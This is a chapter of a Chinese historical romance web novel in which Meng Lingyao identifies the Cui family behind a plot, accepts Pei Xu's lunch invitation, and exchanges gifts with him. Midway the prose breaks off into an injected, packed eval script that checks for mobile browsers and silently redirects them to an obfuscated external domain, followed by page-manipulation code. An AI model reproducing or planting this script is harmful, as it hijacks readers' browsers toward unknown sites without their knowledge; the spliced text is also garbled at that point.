“孙方海可是有个女儿,嫁给了崔家五郎为妾室?”孟令窈缓缓开口。
王朝贵拼命点头,连带着整个被绑的身子都如蛆虫般扭动起来,“是是是!正是!小姐明察,小人都是受了他的指使啊!这些年他替崔家做了许多事,小人知道不少,我全都招!只求能放小人一条生路……”
孟令窈见他那副模样,不由蹙眉,移开了视线。
她一向对京中各家姻亲关系了然于胸,但所知多是各家正头娘子或小姐,对妾室知之甚少。
知晓这位孙姨娘,还是因她在崔家极受宠爱。去岁崔氏赏荷宴上,崔五郎对自家娘子爱搭不理,却独独带了孙姨娘共乘画舫,两人耳鬓厮磨,旁若无人。
彼时她还忙着接近陆鹤鸣,耳边一面是陆鹤鸣的酸诗,一面是隔壁船上的淫词艳曲和暧昧轻笑,好悬才维持住脸上恰到好处的娇羞。
想通了与崔家的瓜葛,就好似在一堆缠乱的丝线中找到了线头。
——崔五郎正是崔夫人的亲侄儿。
原来早在她与赵诩定亲之前,那位梦中的“婆母”,便已是万般地不待见她了。孟令窈眼神微冷,唇角勾起一抹讥诮的弧度。
裴序正要开口,轩中忽地爆发出一阵极尽浮夸的鼓掌声——
“啪啪啪啪!”
淡月呱唧呱唧拍着手掌,好话不要钱似的倾泻而出,“孟小姐机敏聪慧,非同寻常!属下查了数日,反复逼问王朝贵,这才寻出蛛丝马迹,没想到小姐一听就想到了关键,实在令人惭愧……”
他越说越起劲,“正是如此!孙方海因女儿缘故与崔家走得极近,全然是崔氏一党,凡事以崔五郎马首是瞻。此番算计之事,实乃出自崔氏之手!小姐慧眼如炬,一语中的!”
掌声来得猝不及防,瞬间将孟令窈心头的郁气驱散了大半。她眨了眨眼,一抬头就对上淡月那双亮晶晶、满含崇拜的眼眸。
她几乎要被那副“惊为天人”的模样逗笑,绷紧的唇角松动了些许,浮起一丝笑意,“不过寻常推断罢了,哪里值当你这般夸。”
淡月还欲再言,裴序目光自孟令窈微翘的唇角掠过,随即不轻不重地扫了他一眼。
淡月肩膀一缩,立刻收声垂首,退后半步,恢复了规整的侍立姿态。
裴序收回视线,询问道:“可还有想问的?”
孟令窈摇摇头。
她已明白了事情原委。记不清在那个奇异的梦境中是否经历过这一遭,许是有,许是无,都不重要了。
出自崔夫人之手,她丝毫不觉意外。无非是下马威罢了,依她的行事,明处是软刀子,暗地里便是硬刀子,向来如此。
裴序颔首,“送他去大理寺。”
淡月点头,随即利落地将抖如筛糠的王朝贵拖了出去。
千里之堤毁于蚁穴。
她并不怀疑裴序之能,哪怕是王朝贵这般小小的棋子,在他手中亦能掀翻整盘棋局。
轩中重回清净,孟令窈忽地想起了什么,轻挑了下眉,身子微微倾斜,手支在桌上,托着下巴,看向裴序,“裴大人,如此算来……我是不是又为大理寺添了一桩功绩?”
裴序注视她骤然鲜活的眉眼,神情微松,“是,多谢孟小姐。”
孟令窈眼底的笑意更深了些,纤指轻点案几,顺势追击,“既如此,大理寺内对此等大功,想必是有些……专门的奖赏规矩?”
她微微歪头,作势思忖,“总不至于一句谢就打发了功臣吧?”
“确有些不成文的规矩。”裴序不疾不徐道:“遇此情形,按旧例……大理寺会设宴款待出力良多的线人。”
“不知今日,能否有这般荣幸,请孟小姐留下共进午膳?”
孟令窈尚沉浸在做了功臣的喜悦里,想也不想便点头应下,“好,如此便谢过大人盛情。”
话音落罢,她才倏然一愣——
不对!
这顿饭,到底是犒赏她这位“线人”……还是遂了眼前这位大理寺卿大人的心意?
念头电转间,她心下懊恼,面上还硬撑着波澜不惊,掩饰性地端起茶盏喝水,长长的睫羽飞快颤了几下。
裴序将她这细微变化尽收眼底。他并未点破,只是手指微动,执起案上青瓷壶,又为她添了些茶。
“几日前,”他放下壶,神色依旧疏淡,似寻常叙述,“我致书长公主,禀明欲向孟府提亲之意。”
“咳……”孟令窈忙咽下口中茶水,抬眼瞪他,眸中惊恼交织,“长公主忙于西南动乱,你怎的还去扰她?”
那瞪视不见凶狠,倒像被踩了尾巴炸毛的小兽,虚张声势地呲牙。让人想要顺一顺她的毛,或是反过来,将那毛发弄得更乱些。
裴序目光在她染上薄晕的脸颊定了定,喉结不着痕迹地滚动了一下,才缓声道:“长公主亦是我至亲长辈,婚姻大事,礼不可废。”
孟令窈张了张口,话未出,他已紧接着道:“殿下收到信后,遣人送了些东西与我,说是‘助我一臂之力’。窈窈……想不想看看?”
他唤她小名时,尾音缠绵,轻挠过耳际,痒痒地直钻入心底。
孟令窈心尖一麻,握着杯盏的手指收紧了几分,“谁许你…这般唤我了?”
裴序眼睫轻垂,再抬起时,墨色眸子里映着她的影子,“不成么?我听伯父伯母皆这般唤你。”
孟令窈本想驳斥“那是我的父母,岂能相提并论!”,偏偏对上他那双含着期待,又隐隐紧张的眼眸,话到唇边又软了下去,只抿了抿唇,低声道:“……罢了,随你。”
裴序唇边漾开清浅弧度,宛如云破月出,清光微泻,转瞬即逝,却清晰地印入了孟令窈眼中。
“如此…多谢窈窈。”
“以示公平,我也该叫你——”孟令窈迟疑了片刻,“……裴序,才行。”
“叫我雁行亦可。”
“不必了。”孟令窈果断摇头,“叫表字像长辈似的。”可别把她的年岁叫大了。
裴序失了所有脾气似的应了好。
用罢茶,裴序起身,“殿下所赠之物在书房,窈窈随我一道去看看可好?”
孟令窈微怔,“书房?我去可妥当?”
朝廷官员的书房,向来是机要所在,她一个外人踏入,总
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277207|177131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得过于逾矩。
裴序眉梢微挑,反问得云淡风轻:“有何不妥?”
孟令窈反倒被他这份理所应当的坦荡问住,心底那点顾虑烟消云散,不再推辞,起身跟了上去。
踏入裴序的书房,她几乎屏住了呼吸。这里比她想象的更为冷肃整洁,数面书架直抵屋顶,架上典籍规整得如同用尺子量过。书案、条几、笔架、砚台……无一不落在该在的位置,纤尘不染。
孟令窈毫不怀疑,这室内哪怕多出一丝尘埃,少了一支狼毫,主人转瞬便能察觉。这般井然有序,与她父亲的书房有如天壤之别。
孟府的书房,杂学典籍与古怪物件堆叠成小山,她偶尔进去翻几本杂书,或是悄悄藏几册话本子,过去多久都不会被发现。
裴序走到书案旁,从抽屉中取出一个精致的楠木匣子,递到孟令窈面前,“殿下特意寻来,说是西南那边的工匠所制。”
孟令窈接过匣子,触手温润光滑。小心揭开搭扣,内衬的墨绿色丝绒上,静静躺着一套光华内蕴的头面。
主体是繁复到令人惊叹的银丝工艺,仿佛将森林藤蔓与星辰光芒都编织其中,恰到好处地点缀着苍翠的绿松石、朱红的玛瑙,更嵌着几粒光晕柔和的米珠。粗犷与精巧交织,华美却不俗艳,饱含异域风情,与都城金银玉器的富贵堂皇全然不同。
她呼吸微微一滞,眼中迸出惊艳的光芒,“好生别致……难为殿下在军务繁忙中还惦记着。”
脑中灵光一闪,她唤道:“菘蓝。”
菘蓝应声而来,孟令窈打开她随身带来的那只不锦盒。
里面整齐码着大小形状不一的精致瓷瓶,都是她今日备下的香露礼赠。她动作迅速地从中挑出最上面那只青玉小瓶,瓶内液体呈剔透的淡琥珀色。
菘蓝一眼认出那小瓶,是其中唯一一样成品,不由眨了眨眼睛。
孟令窈拿起这瓶最好的香露,转向裴序,递过去,目光清亮,“我曾听行商提及,西南湿热,虫蚁肆虐。这是我新制的香露,对驱蚊虫颇有奇效。劳烦裴……”
说到他名字时,她不自然地打了个磕巴。
“裴序”二字仿佛成了烫嘴的炭块,在她舌尖滚了一圈又滑了回去,只化作一抹飞上耳尖的淡红,强自镇定地接下去,“……裴序,替我转呈殿下回礼,可好?”
裴序视线凝在那锦盒上,静默了片刻才收回,“殿下定会喜欢窈窈的回礼。”他顿了顿,“恰好我亦有些公务文书需递往西南军前,可一并带去。”
孟令窈心头微松,随即从菘蓝手里接过锦盒,双手捧起递给裴序,“这几瓶火候稍欠,清神醒脑倒是合用。”
“这便是今日拜府的上门礼了,莫嫌粗陋。”
接过匣子的刹那,孟令窈清晰地感觉到,裴序周身那股清冷的气息肉眼可见地柔软了下来,如坚冰遇到春阳般消融。
他定定看着孟令窈,目光专注而真挚,“极好,我很喜欢。”
那眼神太过纯粹真挚,直看得孟令窈良心隐隐作痛。
她不动声色咬了下唇。
下回,下回,定备一份像样的厚礼。